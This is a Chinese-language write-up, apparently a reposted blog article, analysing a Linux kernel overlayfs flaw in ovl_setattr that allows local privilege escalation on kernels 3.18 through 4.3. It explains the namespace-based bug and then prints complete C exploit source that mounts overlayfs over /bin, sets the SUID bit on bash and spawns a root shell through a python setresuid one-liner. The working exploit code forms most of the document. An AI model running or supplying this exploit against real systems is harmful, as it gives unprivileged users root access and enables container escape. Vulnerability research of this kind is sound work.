0x00测试环境
使用环境 |
备注 |
|
操作系统 |
Ubuntu15.04 |
虚拟机 |
内核版本 |
3.19.0-15-generic |
|
漏洞来源 |
Before 2015.12.11 |
|
EXP |
c |
提权 |
0x01原理分析:
1)概述
通常的内核漏洞我们会想办法通过执行commit_creds(prepare_kernel_creds(0);来达到提取的目的,而本漏洞实现了另一种巧妙的逻辑绕过提权姿势。受此漏洞影响内核版本包括LinuxKernel 3.18.x、3.19.x、4.1.x、4.2.x、4.3.x。
overlayfs是目前使用比较广泛的层次文件系统,实现简单,具有上下合并、同名遮盖、写时拷贝等特点,旨在运行只读设备(下层文件)时创建可写的临时文件系统(上层文件)。
2)漏洞分析
该漏洞是fs/overlayfs/inode.c中ovl_setattr()函数的一个失误引起的。在一个namespace中的进程会拥有自己的CAP_SYS_ADMIN权能,所以可以修改自己namespace下mount的overlayfs上的文件属性,可被利用绕过文件系统检查,从而逃逸namespace,修改任意文件属性,通过设置挂载的bash的SUID位,子进程结束后在主进程中执行setreuid将uid、gid、eid置零,再起一个shell即为root权限。下图是补丁对比
3)POC
我将通过mount命令操作来说明通过修改挂载到overlayfs的文件属性,可以修改原文件的属性:
0x02漏洞利用
1)利用思路
?利用clone(childFunc,child_stack+STACK_SIZE,CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD,args)创建user和mount namespace的进程(经验证,添加其余namespace也可提权);
②子进程内mount操作,/bin作为下层目录挂载一个overlayfs到临时目录/tmp/exp/o,并用临时目录/tmp/exp/u作为上层目录;
③挂载overlayfs后,由于底层目录是/bin,所以挂载后,/tmp/exp/o目录也有/bin下的bash文件;
④由于系统并不会检查是否有权限修改文件属性,通过chmod可以设置bash的suid位,这个bash就具备了root临时权限;
⑤在namespace外用setresuid(0,0,0)设置新起的shell为root权限。
2)EXP:
#include<stdio.h> #include<unistd.h> #include<sys/types.h> #include<sched.h> #include<linux/sched.h> #include<signal.h> #include<sys/mount.h> #include<stdlib.h> #include<sys/stat.h> static char child_stack[1024*1024]; static int child_exec(void *stuff) { printf("clone a user namespace\n"); mkdir("/tmp/w",0777); mkdir("/tmp/u",0777); mkdir("/tmp/o",0777); printf("mount overlayfs in user namespace:\n"); if(mount("overlay","/tmp/o","overlay",MS_MGC_VAL,"lowerdir=/bin,upperdir=/tmp/u,workdir=/tmp/w")!=0) //挂载overlay文件系统,带了个magic_number,无关紧要 { printf("mount failed...\n"); fprintf(stderr,"mount failed...\n"); } else { printf("mount sucess!!\n"); } chmod("/tmp/w/work",0777); chdir("/tmp/o"); //改变当前工作目录 chmod("bash",04755); //bash的suid置位 chdir("/");//到根目录去 umount("/tmp/o");//取消挂载,此时namspce外的bash的suid也被置位 return 0; } int main(int argc,char *argv[]) { int status; pid_t init; int clone_flags = CLONE_NEWNS |CLONE_NEWUTS | CLONE_NEWPID| CLONE_NEWNET |CLONE_NEWIPC | SIGCHLD;//创建所有namespace struct stat s; if((init = fork()) == 0) { if(unshare(CLONE_NEWUSER)!=0) { printf("failed to create new user namespase\n"); } pid_t pid = clone(child_exec,child_stack + (1024*1024),clone_flags,NULL);//创建子进程 if(pid < 0) { printf("error\n"); fprintf(stderr,"failed to create new mount namespace\n"); exit(-1); } waitpid(pid,&status,0); printf("now return to parent process\n"); return 0; } usleep(30000);//挂起主进程 wait(NULL);//等待子进程返回 stat("/tmp/u/bash",&s);//获取bash文件信息 printf("get the s.st_mode is %o\n",s.st_mode); if(s.st_mode == 0x89ed) //校验bash的suid是否被置位 { printf("successfully set the bash‘s suid as below shown:\n"); system("ls -al /tmp/u/ | grep bash"); printf("\n"); printf("\n"); execl("/tmp/u/bash","bash","-p","-c","python -c "import os;os.setresuid(0,0,0);os.execl(‘/bin/bash‘,‘bash‘);"",NULL);//用python另起shell,设置uid,gid,eid值,获取root权限 } else { printf("execl error!!\n"); } return 0; }
0x03过程总结
1)提权效果
执行pwn后,/tmp/us中挂载的bash的suid被置位:
获取root权限:
2)总结
通过user namespaes提供未授权用户某些内核功能,增加了内核攻击的风险,Linux Container基于这些namespaces实现隔离,如果未采取适当的权能分配、校验和内核管理,容易导致容器逃逸攻击。
原文:http://www.cnblogs.com/Joe-Z/p/5750031.html